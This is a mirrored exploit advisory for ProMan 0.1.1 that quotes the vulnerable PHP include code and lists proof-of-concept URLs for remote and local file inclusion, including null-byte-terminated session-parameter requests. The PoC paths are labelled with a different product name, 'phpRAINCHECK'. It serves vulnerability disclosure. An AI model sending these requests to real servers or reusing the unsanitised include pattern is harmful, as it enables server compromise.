ProMan 0.1.1 – Multiple File Inclusions - 体验盒子

作者： cr4wl3r

日期： 2010-02-27

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/11587/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

##############################################################

##ProMan<= 0.1.1 Multiple File Include Vulnerability

##############################################################

Author: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>

Download: http://sourceforge.net/projects/pman/files/

##############################################################

[RFI Code]

<?php

if (!($_GET['page']))

include('info.php');

else

include $_GET['page'].'.php';

?>

[LFI Code]

include_once('lang/'.$_SESSION['userLang'].'/elisttasks.php');

if (!defined('PROMAN'))

pexit ($l['no hack']);

##############################################################

PoC RFI:

[phpRAINCHECK_path]/_center.php?page=[Shell]

##############################################################

PoC LFI:

[phpRAINCHECK_path]/elisttasks.php?_SESSION[userLang]=[LFI%00]

[phpRAINCHECK_path]/managepmanagers.php?_SESSION[userLang]=[LFI%00]

[phpRAINCHECK_path]/manageusers.php?_SESSION[userLang]=[LFI%00]

[phpRAINCHECK_path]/helpfunc.php?_SESSION[userLang]=[LFI%00]

[phpRAINCHECK_path]/managegroups.php?_SESSION[userLang]=[LFI%00]

[phpRAINCHECK_path]/manageprocess.php?_SESSION[userLang]=[LFI%00]

[phpRAINCHECK_path]/manageusersgroups.php?_SESSION[userLang]=[LFI%00]

others...

##############################################################